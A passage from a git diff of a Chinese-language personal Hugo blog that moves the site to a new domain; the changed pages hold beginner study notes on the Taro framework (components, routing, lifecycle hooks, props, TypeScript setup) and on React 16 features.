-</code></pre><p>taro事件函数有个默认参数，event，它指向该事件的具体，可通过event.stopPagenation()来阻止当前事件的事件冒泡</p><p>注意：taro的全部事件需要用on开头（而且组件传入参数是函数，这个函数也必须是on开头命名的），是为了小程序（因为小程序会认为是字符串），如果不做小程序可以忽略</p><hr><p>taro判断当前环境是h5还是小程序（只限制开发环境，生产环境是无效的）</p><pre><code>const ish5 = process.env.TARO_ENV == 'h5'
-if(ish5){
-    require('./h5.less')
-}else{
-    require('./noh5.less')
-}
-</code></pre><p>布局推荐使用flex布局</p><hr><p>在taro应用typescript</p><p>为非ts项目安装ts依赖</p><p>npm install typescript &ndash;save</p><p>还需要配置tsconfig.json</p><pre><code>{
-    &quot;compilerOptions&quot;: {
-        &quot;target&quot;: &quot;es2017&quot;,
-        &quot;module&quot;: &quot;commonjs&quot;,
-        &quot;removeComments&quot;: false,
-        &quot;preserveConstEnums&quot;: true,
-        &quot;moduleResolution&quot;: &quot;node&quot;,
-        &quot;experimentalDecorators&quot;: true,
-        &quot;jsxFactory&quot;: &quot;Taro.createElement&quot;,
-        &quot;noImplicitAny&quot;: false,
-        &quot;allowSyntheticDefaultImports&quot;: true,
-        &quot;outDir&quot;: &quot;lib&quot;,
-        &quot;noUnusedLocals&quot;: true,
-        &quot;noUnusedParameters&quot;: true,
-        &quot;strictNullChecks&quot;: true,
-        &quot;sourceMap&quot;: true,
-        &quot;baseUrl&quot;: &quot;.&quot;,
-        &quot;rootDir&quot;: &quot;.&quot;,
-        &quot;jsx&quot;: &quot;preserve&quot;,
-        &quot;typeRoots&quot;: [
-          &quot;node_modules/@types&quot;,
-          &quot;global.d.ts&quot;
-        ]
-    },
-    &quot;compileOnSave&quot;: false
-}
-</code></pre><p>如果是新建项目，可以在初始化时指定需要使用typescript</p><p>编译ts文件完成，也是放到dist目录下</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/taro/>Taro</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/94/><span class=title>« Prev</span><br><span>React进阶学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/92/><span class=title>Next »</span><br><span>Taro脚手架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+yarn dev:rn</p><p>编译完成的端源码在dist目录下</p><p>作为一个可以使用react规范开发的框架，React Hooks和jsx也是支持的</p><p>Taro组件化（Taro可以使用react开发，因此也具备react的组件化功能）</p><pre><code>import Taro, {  useState } from '@tarojs/taro'
+import { View, Text } from '@tarojs/components'
+import './index.less'
+function Main(){
+    const [count ,setUserName] = useState(&quot;hallo word&quot;)
+   return ( 
+       &lt;View&gt;
+           &lt;Text&gt;{count}&lt;/Text&gt;
+       &lt;/View&gt;
+    )
+}
+export default Main
+</code></pre><p>子组件</p><pre><code>import { View, Text } from '@tarojs/components'
+function Data(){
+    return ( 
+        &lt;View&gt;&lt;Text&gt;hallo word&lt;/Text&gt;&lt;/View&gt;
+    )
+}
+export default Data
+</code></pre><p>如果使用类组件的话，需要导入Component基础类，并且类组件需要继承该基础类，例如：</p><pre><code>import Taro, { Component } from '@tarojs/taro'
+class Data extends Component{
+    config = {
+        navigationBarTitleText: 'hallo word'
+    }
+    render(){
+        return ( 
+            &lt;View&gt;&lt;Text&gt;hallo word&lt;/Text&gt;&lt;/View&gt;
+        )
+    }
+}
+export default Data
+</code></pre><p>导入</p><p>import Data from &lsquo;./data.jsx&rsquo;</p><p>直接在父组件中使用就好</p><p>父组件传递参数给子组件</p><p></p><p>学过react都知道，父组件传递参数给子组件要通过props接收，因此子组件要加props参数</p><pre><code>function Data(props){
+    return ( 
+        &lt;View&gt;&lt;Text&gt;{props.count}&lt;/Text&gt;&lt;/View&gt;
+    )
+}
+export default Data
+</code></pre><p>Taro路由（通过app.jsx的pages，谁在第一个数组的值，那么该就是默认打开的首页）</p><p>taro路由是自带的，只需要在app.js入口文件配置config.pages（pages是数组），就可以使用taro的api来访问路由，例如：</p><pre><code>pages: [
+    'pages/main/main',
+    'pages/data/data'
+],
+</code></pre><p>注意，不需要导入页面，Taro可以自动化完成</p><p>Taro 提供了6个路由api，分别是</p><p>navigateTo：记录上级页面，可以返回上级页面</p><p>redirectTo：不记录上级页面</p><p>switchTab：Tab之间进行切换</p><p>navigateBack：返回上一级页面</p><p>getCurrentPages：获取当前页面信息（页面栈），注意h5不支持</p><p>relaunch：销毁所有页面（关闭）</p><p>注意：微信小程序存在五层页面限制，要合理使用navigateTo和redirectTo</p><p>路由配合页面之间传递参数</p><p>发送参数</p><p>例如：</p><pre><code>import Taro ,{useState} from '@tarojs/taro'
+import {View , Text ,Button} from '@tarojs/components'
+function Main(){
+    const [data,setData] = useState(&quot;hallo&quot;)
+    const UrlIndex=()=&gt;{
+        Taro.navigateTo({url:'/pages/index/index'+data})
+    }
+    return (
+        &lt;View&gt;
+            &lt;Text&gt;hallo word&lt;/Text&gt;
+            &lt;Button onClick={UrlIndex}&gt;GO&lt;/Button&gt;
+        &lt;/View&gt;
+    )
+}
+export default Main
+</code></pre><p>只需要在Index.jsx下接收就可，例如：</p><pre><code>import Taro, {  useState ,useEffect } from '@tarojs/taro'
+...
+const [data,setData] = useState('')
+useEffect(()=&gt;{
+    setData(this.$router.params.data)
+ },[])
+ ...
+ &lt;Text&gt;{data}&lt;/Text&gt;
+</code></pre><p>多参数传递也是可以</p><pre><code>    const [data,setData] = useState(&quot;hallo&quot;)
+    const [name,setName] = useState(&quot;root&quot;)
+    const [pass,setPass] = useState(&quot;123&quot;)
+    const UrlIndex=()=&gt;{
+        Taro.navigateTo({url:'/pages/index/index?data='+data+'&amp;name='+name+'&amp;pass='+pass})
+    }
+</code></pre><p>接收多参数</p><pre><code>const [data,setData] = useState('')
+const [name,setName] = useState('')
+const [pass,setPass] = useState('')
+useEffect(()=&gt;{
+    setData(this.$router.params.data)
+    setName(this.$router.params.name)
+    setPass(this.$router.params.pass)
+ },[])
+ ...
+ &lt;Text&gt;{data}&lt;/Text&gt;
+ &lt;Text&gt;{name}&lt;/Text&gt;
+ &lt;Text&gt;{pass}&lt;/Text&gt;
+</code></pre><p>导入静态资源</p><pre><code>import Taro ,{useState ,useEffect}from '@tarojs/taro'
+import {View , Text ,Button, Image} from '@tarojs/components'
+import {imgdata,cssdata} from '../../data' // 导入方法（函数）
+import logo  from '../../img/1.jpg' // 导入静态资源
+useEffect(()=&gt;{
+    imgdata()
+    cssdata()
+},[])
+ ...
+ &lt;Image src={newbbd} width=&quot;300px&quot; height=&quot;300px&quot; /&gt;
+</code></pre><p>或者</p><pre><code> &lt;Image src={require('../../img/1.jpg')} width=&quot;300px&quot; height=&quot;300px&quot; /&gt;
+</code></pre><p>请求远程端口</p><pre><code>const testData= ()=&gt;{
+    Taro.request({
+        url:'https://xxx.xxx/xxx'
+    }).then(mainData=&gt;{
+        console.log(mainData.data)
+    })
+}
+</code></pre><p>url是目标接口，then()是请求完毕获取到的数据</p><hr><p>生命周期与state</p><p>Taro支持react的生命周期，另外Taro还为小程序补充了一些react不存在的生命周期，方便Taro开发小程序时使用</p><p>组件的生命周期</p><pre><code>class Test extends Component{
+    constructor (props) {
+        // constructor会在组件挂载（组件渲染到Taro虚拟DOM之前）之前被执行
+        super(props)
+        this.state = {
+            data: 'admin'
+        }
+    }
+
+    componentWillMount (){
+        console.log('第一次渲染之前执行') // 组件被装载渲染之前执行
+    }
+    componentDidMount(){
+        console.log('第一次渲染之后执行') // 组件被装载渲染之后执行
+        this.setState({ data: 'root' }) // 修改state状态，需要通过setState方法来修改，而不是直接修改
+    }
+    componentWillUnmount(){
+        console.log('组件被销毁或者被卸载时执行')
+    }
+    componentWillUpdate(){
+        console.log('state数据更新前执行') // 当组件接收到新的state或者props，该钩子会在渲染之前执行，其中也可以接收2个参数，nextProps, nextState
+    }
+    componentDidUpdate(){
+        console.log('state数据更新后执行') // 当发送更新时执行。第一次渲染不会被触发
+    }
+    shouldComponentUpdate(nextProps, nextState){
+        // 表示该组件不受state状态或者props影响，通过返回值来表示是否在每次state状态更新时重新渲染，默认返回true
+        // 该钩子函数接收2个参数，分别是nextProps, nextState，分别表示最新的props和state
+        console.log(nextProps, nextState)
+        return false
+    }
+    componentWillReceiveProps(nextProps){
+        console.log('Props参数发生改变之前执行') // 当已被装载渲染的组件接收到新的props属性之前执行，nextProps参数表示最新的props属性
+    }
+    getSnapshotBeforeUpdate(){
+        console.log('在最近一次渲染之前执行') // 可用来组件渲染之前捕获数据
+    }
+    render(){
+        return(
+           &lt;View&gt;
+              &lt;Text&gt;hallo word {this.state.data}&lt;/Text&gt;
+           &lt;/View&gt;
+        )
+    }
+}
+</code></pre><hr><p>Taro Props（父子组件通信）</p><p>子组件</p><pre><code>export default class DataTest extends Component{
+    render(){
+        let {data} = this.props
+        return(
+           &lt;View&gt;
+              hallo {data}
+           &lt;/View&gt;
+        )
+    }
+}
+</code></pre><p>父组件</p><pre><code>import DataTest from './datatest'
+export default class Test extends Component{
+    constructor (props) {
+        super(props)
+        this.state = {
+            data: 'admin'
+        }
+    }
+    render(){
+        let {data} = this.state.data
+        return(
+           &lt;View&gt;
+              &lt;Text&gt;hallo word&lt;/Text&gt;
+               &lt;DataTest data={data}/&gt;
+           &lt;/View&gt;
+        )
+    }
+}
+</code></pre><p>props默认值</p><pre><code> DataTest.defaultProps = {
+      data: 'user'
+ }
+</code></pre><p>注意：当props为undefined时，才将读取defaultProps的值作为props</p><hr><p>条件渲染</p><p>三元表达式</p><pre><code> {
+      true?&lt;div&gt;hallo wrod&lt;/div:&lt;div&gt;hhh&lt;/div&gt;
+ }
+</code></pre><p>短路表达式</p><pre><code> {
+      !true||&lt;div&gt;hallo wrod&lt;/div&gt;
+ }
+</code></pre><hr><p>列表渲染</p><pre><code> state = {
+      list: [
+           {id:1,name:'root'},
+           {id:2,name:'abc'},
+           {id:3,name:'test'}
+      ]
+ }
+ ...
+ let {list} = this.state
+ ...
+ {
+      list.map((item, index) =&gt;{
+           return(&lt;div key={index}&gt;{item.name}&lt;/div&gt;)
+      })
+ }
+</code></pre><hr><p>children传入组件</p><pre><code>export default class Test extends Component{
+    render(){
+        return(
+           &lt;View&gt;
+               {
+                   this.props.texts
+               }
+               {
+                   this.props.children
+               }
+           &lt;/View&gt;
+        )
+    }
+}
+</code></pre><p>调用的时候，直接在父组件使用就可以</p><pre><code>return(
+    &lt;View&gt;
+        &lt;Test texts={&lt;div&gt;hallo wrod&lt;/div&gt;}&gt;&lt;/Test&gt;
+        &lt;Test&gt;hallo 123&lt;/Test&gt;
+        &lt;Test&gt;hallo 666&lt;/Test&gt;
+    &lt;/View&gt;
+)
+</code></pre><p>注意：不要对this.props.children进行任何操作，taro在小程序实现这个功能是利用了插槽Slot功能，而且this.props.children不能使用defaultProps进行设置默认，也不能拆分成变量进行使用，但是允许通过props自定义属性的方式传入组件</p><hr><p>事件处理</p><pre><code>state = {
+    name: 'root'
+}
+test(){
+    console.log(this.state.name)
+}
+render(){
+    return(
+        &lt;View&gt;
+            &lt;Button onClick={this.test.bind(this)&gt;&lt;/Button&gt;
+        &lt;/View&gt;
+    )
+}
+</code></pre><p>taro事件函数有个默认参数，event，它指向该事件的具体，可通过event.stopPagenation()来阻止当前事件的事件冒泡</p><p>注意：taro的全部事件需要用on开头（而且组件传入参数是函数，这个函数也必须是on开头命名的），是为了小程序（因为小程序会认为是字符串），如果不做小程序可以忽略</p><hr><p>taro判断当前环境是h5还是小程序（只限制开发环境，生产环境是无效的）</p><pre><code>const ish5 = process.env.TARO_ENV == 'h5'
+if(ish5){
+    require('./h5.less')
+}else{
+    require('./noh5.less')
+}
+</code></pre><p>布局推荐使用flex布局</p><hr><p>在taro应用typescript</p><p>为非ts项目安装ts依赖</p><p>npm install typescript &ndash;save</p><p>还需要配置tsconfig.json</p><pre><code>{
+    &quot;compilerOptions&quot;: {
+        &quot;target&quot;: &quot;es2017&quot;,
+        &quot;module&quot;: &quot;commonjs&quot;,
+        &quot;removeComments&quot;: false,
+        &quot;preserveConstEnums&quot;: true,
+        &quot;moduleResolution&quot;: &quot;node&quot;,
+        &quot;experimentalDecorators&quot;: true,
+        &quot;jsxFactory&quot;: &quot;Taro.createElement&quot;,
+        &quot;noImplicitAny&quot;: false,
+        &quot;allowSyntheticDefaultImports&quot;: true,
+        &quot;outDir&quot;: &quot;lib&quot;,
+        &quot;noUnusedLocals&quot;: true,
+        &quot;noUnusedParameters&quot;: true,
+        &quot;strictNullChecks&quot;: true,
+        &quot;sourceMap&quot;: true,
+        &quot;baseUrl&quot;: &quot;.&quot;,
+        &quot;rootDir&quot;: &quot;.&quot;,
+        &quot;jsx&quot;: &quot;preserve&quot;,
+        &quot;typeRoots&quot;: [
+          &quot;node_modules/@types&quot;,
+          &quot;global.d.ts&quot;
+        ]
+    },
+    &quot;compileOnSave&quot;: false
+}
+</code></pre><p>如果是新建项目，可以在初始化时指定需要使用typescript</p><p>编译ts文件完成，也是放到dist目录下</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/taro/>Taro</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/94/><span class=title>« Prev</span><br><span>React进阶学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/92/><span class=title>Next »</span><br><span>Taro脚手架学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/94/index.html b/posts/94/index.html
index 7b1c1b6e..2493764b 100644
--- a/posts/94/index.html
+++ b/posts/94/index.html
@@ -2,11 +2,11 @@
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
<div>hallo</div>,
<div>word</div>
]
}
或者
-render(){
return &#34;hallo word&#34;
}
错误处理
+render(){ return[ <div>hallo</div>, <div>word</div> ] } 或者
+render(){ return &#34;hallo word&#34; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -24,16 +24,16 @@
 导入
 import ReactMarkdown from &lsquo;react-markdown&rsquo;
 测试
-let markdown =
&#34;**这是加粗的文字**\n\n&#34; +
&#34;*这是倾斜的文字*`\n\n&#34; +
&#34;***这是斜体加粗的文字***\n\n&#34; +
&#34;~~这是加删除线的文字~~ \n\n&#34; +
&#34;`console.log(111)` \n\n&#34; +
&#34;``` var a=11; ```&#34;;
<ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/>
"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/94/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="React进阶学习笔记"><meta property="og:description" content="react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
+let markdown = &#34;**这是加粗的文字**\n\n&#34; + &#34;*这是倾斜的文字*`\n\n&#34; + &#34;***这是斜体加粗的文字***\n\n&#34; + &#34;~~这是加删除线的文字~~ \n\n&#34; + &#34;`console.log(111)` \n\n&#34; + &#34;``` var a=11; ```&#34;; <ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/> "><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/94/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="React进阶学习笔记"><meta property="og:description" content="react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
<div>hallo</div>,
<div>word</div>
]
}
或者
-render(){
return &#34;hallo word&#34;
}
错误处理
+render(){ return[ <div>hallo</div>, <div>word</div> ] } 或者
+render(){ return &#34;hallo word&#34; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -51,15 +51,15 @@
 导入
 import ReactMarkdown from &lsquo;react-markdown&rsquo;
 测试
-let markdown =
&#34;**这是加粗的文字**\n\n&#34; +
&#34;*这是倾斜的文字*`\n\n&#34; +
&#34;***这是斜体加粗的文字***\n\n&#34; +
&#34;~~这是加删除线的文字~~ \n\n&#34; +
&#34;`console.log(111)` \n\n&#34; +
&#34;``` var a=11; ```&#34;;
<ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/>
"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/94/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-03T12:00:00+00:00"><meta property="article:modified_time" content="2021-09-03T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="React进阶学习笔记"><meta name=twitter:description content="react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
+let markdown = &#34;**这是加粗的文字**\n\n&#34; + &#34;*这是倾斜的文字*`\n\n&#34; + &#34;***这是斜体加粗的文字***\n\n&#34; + &#34;~~这是加删除线的文字~~ \n\n&#34; + &#34;`console.log(111)` \n\n&#34; + &#34;``` var a=11; ```&#34;; <ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/> "><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/94/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-09-03T12:00:00+00:00"><meta property="article:modified_time" content="2021-09-03T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="React进阶学习笔记"><meta name=twitter:description content="react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16
 render返回类型
 除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）
 例如：
-render(){
return[
<div>hallo</div>,
<div>word</div>
]
}
或者
-render(){
return &#34;hallo word&#34;
}
错误处理
+render(){ return[ <div>hallo</div>, <div>word</div> ] } 或者
+render(){ return &#34;hallo word&#34; } 错误处理
 react16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃
 当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：
-componentDidCatch(error, info){
console.log(error,info)
}
Portals
+componentDidCatch(error, info){ console.log(error,info) } Portals
 React16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框
 ReactDOM.createPortal(child, container)
 第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上
@@ -77,29 +77,29 @@
 导入
 import ReactMarkdown from &lsquo;react-markdown&rsquo;
 测试
-let markdown =
&#34;**这是加粗的文字**\n\n&#34; +
&#34;*这是倾斜的文字*`\n\n&#34; +
&#34;***这是斜体加粗的文字***\n\n&#34; +
&#34;~~这是加删除线的文字~~ \n\n&#34; +
&#34;`console.log(111)` \n\n&#34; +
&#34;``` var a=11; ```&#34;;
<ReactMarkdown source={markdown} escapeHtml={false} children={markdown}/>
"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"React进阶学习笔记","item":"https://xiaochenabc123.github.io/posts/94/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"React进阶学习笔记","name":"React进阶学习笔记","description":"react16是Facebook在2017年发布的react版本，几乎对react底层进行重写，但是对外API不变，因此可以无缝转移到react16\nrender返回类型\n除了只能返回单个元素外，react16支持返回字符串和数组（由react元素组成）\n例如：\nrender(){\rreturn[\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;,\r\u0026lt;div\u0026gt;word\u0026lt;/div\u0026gt;\r]\r}\r或者\nrender(){\rreturn \u0026quot;hallo word\u0026quot;\r}\r错误处理\nreact16引入了新的错误处理机制，当组件发生错误，将会将其从组件树中卸载，避免引起整个应用的崩溃\n当然也提供了更友好的处理方式，叫错误边界，这个会捕获子组件的错误，并且输出错误日志和出错提示，例如：\ncomponentDidCatch(error, info){\rconsole.log(error,info)\r}\rPortals\nReact16的Portals特性可以将组件渲染到当前组件树以外的DOM树上，例如弹框\nReactDOM.createPortal(child, container)\n第一个参数是可以被渲染的react节点，第二个参数是dom元素，react节点将会被挂载到该DOM元素上\n自定义DOM属性\n在react16之前，会忽略不识别的属性，而在react16之后，会将不识别的属性传递给dom元素\nReact AJAX（搭配jQuery）\n通过componentDidMount()调用，通过componentWillUnmount()取消未完成的请求\nVirtual-DOM实质上就是模拟DOM树结构，通过JavaScript对象来描述DOM对象，通过映射成真实的DOM节点来实现\n对于DOM节点数据更新，则通过生成一个新的Virtual-DOM，两个Virtual-DOM通过Diff算法进行差异更新，将更新处理为真实的DOM\nVirtual-DOM的优势：减少操作DOM，处理视图和状态的关系\n没有任何框架能比原生DOM处理快，但是操作原生DOM可能导致浏览器的回流（回流是性能第一杀手），因此在复杂视图下，原生DOM操作就可能没有Virtual-DOM性能好了\nreact-markdown是react官方提供的库，专门用来解析md文件或者符合md语法的变量\n安装react-markdown\nyarn add react-markdown\n导入\nimport ReactMarkdown from \u0026lsquo;react-markdown\u0026rsquo;\n测试\nlet markdown =\r\u0026quot;**这是加粗的文字**\\n\\n\u0026quot; +\r\u0026quot;*这是倾斜的文字*`\\n\\n\u0026quot; +\r\u0026quot;***这是斜体加粗的文字***\\n\\n\u0026quot; +\r\u0026quot;~~这是加删除线的文字~~ \\n\\n\u0026quot; +\r\u0026quot;`console.log(111)` \\n\\n\u0026quot; +\r\u0026quot;``` var a=11; ```\u0026quot;;\r\u0026lt;ReactMarkdown source={markdown} escapeHtml={false} 